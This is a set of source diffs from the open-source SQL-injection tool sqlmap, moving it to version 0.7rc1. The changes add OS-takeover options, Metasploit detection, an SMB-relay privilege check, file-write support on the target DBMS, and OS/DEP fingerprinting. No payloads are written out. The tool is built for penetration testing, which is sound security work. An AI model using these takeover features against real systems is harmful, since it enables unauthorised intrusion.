||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -28,7 +28,6 @@ import re
|
|||
import os
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import filePathToString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
|
@ -45,18 +44,10 @@ class Dump:
|
|||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True, rFile=False):
|
||||
def __write(self, data, n=True):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
|
||||
# TODO: do not duplicate queries output in the text file, check
|
||||
# before if the data is already within the text file content
|
||||
if rFile and conf.rFile:
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
||||
rFileFP.write(data)
|
||||
rFileFP.close()
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
|
|
@ -71,35 +62,38 @@ class Dump:
|
|||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data):
|
||||
def string(self, header, data, sort=True):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data)
|
||||
self.lister(header, data, sort)
|
||||
|
||||
return
|
||||
|
||||
data = str(data)
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements):
|
||||
def lister(self, header, elements, sort=True):
|
||||
if elements:
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
if sort == True:
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
import sys
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
|
@ -93,10 +95,10 @@ class sqlmapValueException(Exception):
|
|||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "the command line and the following text and send by e-mail "
|
||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
|
||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will "
|
||||
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
||||
errMsg += "Operating system: %s" % sys.platform
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Operating system: %s" % PLATFORM
|
||||
return errMsg
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -25,17 +25,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
|
||||
import cookielib
|
||||
import ctypes
|
||||
import difflib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from ConfigParser import ConfigParser
|
||||
|
||||
from lib.core.common import getFileType
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
|
|
@ -49,13 +52,17 @@ from lib.core.data import paths
|
|||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapMissingPrivileges
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import SUPPORTED_OS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
|
|
@ -241,12 +248,140 @@ def __setGoogleDorking():
|
|||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setMetasploit():
|
||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||
return
|
||||
|
||||
if conf.osSmb:
|
||||
isAdmin = False
|
||||
|
||||
if "win" in PLATFORM:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
isAdmin = os.geteuid()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||
isAdmin = True
|
||||
|
||||
# TODO: add support for Mac OS X
|
||||
#elif "darwin" in PLATFORM:
|
||||
# pass
|
||||
|
||||
else:
|
||||
warnMsg = "sqlmap is not able to check if you are running it "
|
||||
warnMsg += "as an Administrator accout on this platform. "
|
||||
warnMsg += "sqlmap will assume that you are an Administrator "
|
||||
warnMsg += "which is mandatory for the SMB relay attack to "
|
||||
warnMsg += "work properly"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
isAdmin = True
|
||||
|
||||
if isAdmin != True:
|
||||
errMsg = "you need to run sqlmap as an administrator/root "
|
||||
errMsg += "user if you want to perform a SMB relay attack "
|
||||
errMsg += "because it will need to listen on a user-specified "
|
||||
errMsg += "SMB TCP port for incoming connection attempts"
|
||||
raise sqlmapMissingPrivileges, errMsg
|
||||
|
||||
debugMsg = "setting the out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if conf.msfPath:
|
||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
||||
|
||||
if condition:
|
||||
debugMsg = "provided Metasploit Framework 3 path "
|
||||
debugMsg += "'%s' is valid" % conf.msfPath
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = True
|
||||
else:
|
||||
warnMsg = "the provided Metasploit Framework 3 path "
|
||||
warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
|
||||
warnMsg += "be that the path does not exists or that one "
|
||||
warnMsg += "or more of the needed Metasploit executables "
|
||||
warnMsg += "within msfcli, msfconsole, msfencode and "
|
||||
warnMsg += "msfpayload do not exist"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
warnMsg = "you did not provide the local path where Metasploit "
|
||||
warnMsg += "Framework 3 is installed"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||
warnMsg += "installation into the environment paths"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
envPaths = os.environ["PATH"]
|
||||
|
||||
if "win" in PLATFORM:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
condition = os.path.exists(os.path.normpath(envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
||||
|
||||
if condition:
|
||||
infoMsg = "Metasploit Framework 3 has been found "
|
||||
infoMsg += "installed in the '%s' path" % envPath
|
||||
logger.info(infoMsg)
|
||||
|
||||
msfEnvPathExists = True
|
||||
conf.msfPath = envPath
|
||||
|
||||
break
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __setWriteFile():
|
||||
if not conf.wFile:
|
||||
return
|
||||
|
||||
debugMsg = "setting the write file functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not os.path.exists(conf.wFile):
|
||||
errMsg = "the provided local file '%s' does not exist" % conf.wFile
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if not conf.dFile:
|
||||
errMsg = "you did not provide the back-end DBMS absolute path "
|
||||
errMsg += "where you want to write the local file '%s'" % conf.wFile
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
conf.wFileType = getFileType(conf.wFile)
|
||||
|
||||
|
||||
def __setUnionTech():
|
||||
if conf.uTech == None:
|
||||
conf.uTech = "NULL"
|
||||
|
||||
return
|
||||
|
||||
debugMsg = "setting the UNION query SQL injection detection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uTechOriginal = conf.uTech
|
||||
conf.uTech = conf.uTech.lower()
|
||||
|
||||
|
|
@ -263,6 +398,29 @@ def __setUnionTech():
|
|||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setOS():
|
||||
"""
|
||||
Force the back-end DBMS operating system option.
|
||||
"""
|
||||
|
||||
if not conf.os:
|
||||
return
|
||||
|
||||
debugMsg = "forcing back-end DBMS operating system to user defined value"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.os = conf.os.lower()
|
||||
|
||||
if conf.os not in SUPPORTED_OS:
|
||||
errMsg = "you provided an unsupported back-end DBMS operating "
|
||||
errMsg += "system. The supported DBMS operating systems for OS "
|
||||
errMsg += "and file system access are Linux and Windows. "
|
||||
errMsg += "If you do not know the back-end DBMS underlying OS, "
|
||||
errMsg += "do not provide it and sqlmap will fingerprint it for "
|
||||
errMsg += "you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setDBMS():
|
||||
"""
|
||||
Force the back-end DBMS option.
|
||||
|
|
@ -280,8 +438,8 @@ def __setDBMS():
|
|||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
|
|
@ -581,6 +739,21 @@ def __cleanupOptions():
|
|||
if conf.delay:
|
||||
conf.delay = float(conf.delay)
|
||||
|
||||
if conf.rFile:
|
||||
conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/"))
|
||||
|
||||
if conf.wFile:
|
||||
conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/"))
|
||||
|
||||
if conf.dFile:
|
||||
conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/"))
|
||||
|
||||
if conf.msfPath:
|
||||
conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/"))
|
||||
|
||||
if conf.tmpPath:
|
||||
conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/"))
|
||||
|
||||
if conf.googleDork or conf.list:
|
||||
conf.multipleTargets = True
|
||||
|
||||
|
|
@ -600,21 +773,24 @@ def __setConfAttributes():
|
|||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.matchRatio = None
|
||||
conf.md5hash = None
|
||||
conf.multipleTargets = False
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.paramFalseCond = False
|
||||
conf.paramNegative = False
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.retries = 0
|
||||
conf.retriesCount = 0
|
||||
conf.scheme = None
|
||||
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
|
||||
conf.seqMatcher = difflib.SequenceMatcher(None)
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
conf.threadException = False
|
||||
conf.wFileType = None
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
|
|
@ -627,17 +803,31 @@ def __setKnowledgeBaseAttributes():
|
|||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.docRoot = None
|
||||
kb.bannerFp = advancedDict()
|
||||
kb.data = advancedDict()
|
||||
|
||||
# Basic back-end DBMS fingerprint
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.bannerFp = {}
|
||||
|
||||
# Active (extensive) back-end DBMS fingerprint
|
||||
kb.dbmsVersion = []
|
||||
|
||||
kb.dep = None
|
||||
kb.docRoot = None
|
||||
kb.headersCount = 0
|
||||
kb.headersFp = {}
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
|
||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
||||
kb.os = None
|
||||
kb.osVersion = None
|
||||
kb.osSP = None
|
||||
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.stackedTest = None
|
||||
|
|
@ -763,7 +953,10 @@ def init(inputOptions=advancedDict()):
|
|||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setDBMS()
|
||||
__setOS()
|
||||
__setUnionTech()
|
||||
__setWriteFile()
|
||||
__setMetasploit()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -51,6 +51,7 @@ optDict = {
|
|||
"Injection": {
|
||||
"testParameter": "string",
|
||||
"dbms": "string",
|
||||
"os": "string",
|
||||
"prefix": "string",
|
||||
"postfix": "string",
|
||||
"string": "string",
|
||||
|
|
@ -98,10 +99,18 @@ optDict = {
|
|||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
"osCmd": "string",
|
||||
"osShell": "boolean",
|
||||
"osPwn": "boolean",
|
||||
"osSmb": "boolean",
|
||||
"osBof": "boolean",
|
||||
"privEsc": "boolean",
|
||||
"msfPath": "string",
|
||||
"tmpPath": "string",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
|
|
@ -110,5 +119,6 @@ optDict = {
|
|||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
"cleanup": "boolean",
|
||||
},
|
||||
}
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -31,8 +31,8 @@ boolean and _outputfile variable used in genutils.
|
|||
|
||||
import sys
|
||||
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
try:
|
||||
|
|
@ -49,7 +49,7 @@ except ImportError:
|
|||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if sys.platform == 'win32' and haveReadline:
|
||||
if 'win' in PLATFORM and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
|
|
@ -63,7 +63,7 @@ if sys.platform == 'win32' and haveReadline:
|
|||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if sys.platform == 'darwin' and haveReadline:
|
||||
if PLATFORM == 'darwin' and haveReadline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import formatFingerprintString
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
|
|
@ -34,6 +35,7 @@ from lib.core.data import logger
|
|||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
|
|
@ -62,6 +64,17 @@ def setRegexp():
|
|||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||
|
||||
|
||||
def setMatchRatio():
|
||||
condition = (
|
||||
not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Match ratio") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
|
|
@ -132,6 +145,67 @@ def setDbms(dbms):
|
|||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||
|
||||
|
||||
def setOs():
|
||||
"""
|
||||
Example of kb.bannerFp dictionary:
|
||||
|
||||
{
|
||||
'sp': set(['Service Pack 4']),
|
||||
'dbmsVersion': '8.00.194',
|
||||
'dbmsServicePack': '0',
|
||||
'distrib': set(['2000']),
|
||||
'dbmsRelease': '2000',
|
||||
'type': set(['Windows'])
|
||||
}
|
||||
"""
|
||||
|
||||
infoMsg = ""
|
||||
condition = (
|
||||
not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("OS") )
|
||||
)
|
||||
|
||||
if not kb.bannerFp:
|
||||
return
|
||||
|
||||
if "type" in kb.bannerFp:
|
||||
kb.os = formatFingerprintString(kb.bannerFp["type"])
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
if "distrib" in kb.bannerFp:
|
||||
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
|
||||
infoMsg += " %s" % kb.osVersion
|
||||
|
||||
if "sp" in kb.bannerFp:
|
||||
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
|
||||
|
||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||
kb.osSP = 0
|
||||
|
||||
if kb.os and kb.osVersion:
|
||||
infoMsg += " Service Pack %d" % kb.osSP
|
||||
|
||||
if infoMsg:
|
||||
logger.info(infoMsg)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||
|
||||
|
||||
def setStacked():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
|
||||
)
|
||||
|
||||
if not isinstance(kb.stackedTest, str):
|
||||
return
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
|
|
@ -172,6 +246,27 @@ def setUnion(comment=None, count=None, position=None):
|
|||
kb.unionPosition = position
|
||||
|
||||
|
||||
def setRemoteTempPath():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||
|
||||
|
||||
def setDEP():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
||||
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
|
|
@ -216,6 +311,14 @@ def resumeConfKb(expression, url, value):
|
|||
if not test or test[0] in ("y", "Y"):
|
||||
conf.regexp = regexp
|
||||
|
||||
elif expression == "Match ratio" and url == conf.url:
|
||||
matchRatio = value[:-1]
|
||||
|
||||
logMsg = "resuming match ratio '%s' from session file" % matchRatio
|
||||
logger.info(logMsg)
|
||||
|
||||
conf.matchRatio = round(float(matchRatio), 3)
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
|
|
@ -278,7 +381,7 @@ def resumeConfKb(expression, url, value):
|
|||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
|
|
@ -293,6 +396,34 @@ def resumeConfKb(expression, url, value):
|
|||
else:
|
||||
conf.dbms = dbms
|
||||
|
||||
elif expression == "OS" and url == conf.url:
|
||||
os = value[:-1]
|
||||
|
||||
logMsg = "resuming back-end DBMS operating system '%s' " % os
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
if conf.os and conf.os.lower() != os.lower():
|
||||
message = "you provided '%s' as back-end DBMS operating " % conf.os
|
||||
message += "system, but from a past scan information on the "
|
||||
message += "target URL sqlmap assumes the back-end DBMS "
|
||||
message += "operating system is %s. " % os
|
||||
message += "Do you really want to force the back-end DBMS "
|
||||
message += "OS value? [y/N] "
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.os = os
|
||||
else:
|
||||
conf.os = os
|
||||
|
||||
elif expression == "Stacked queries" and url == conf.url:
|
||||
kb.stackedTest = value[:-1]
|
||||
|
||||
logMsg = "resuming stacked queries syntax "
|
||||
logMsg += "'%s' from session file" % kb.stackedTest
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union comment" and url == conf.url:
|
||||
kb.unionComment = value[:-1]
|
||||
|
||||
|
|
@ -313,3 +444,17 @@ def resumeConfKb(expression, url, value):
|
|||
logMsg = "resuming union position "
|
||||
logMsg += "%s from session file" % kb.unionPosition
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Remote temp path" and url == conf.url:
|
||||
conf.tmpPath = value[:-1]
|
||||
|
||||
logMsg = "resuming remote absolute path of temporary "
|
||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DEP" and url == conf.url:
|
||||
kb.dep = value[:-1]
|
||||
|
||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -30,13 +30,14 @@ import sys
|
|||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.5-rc1"
|
||||
VERSION = "0.7rc1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
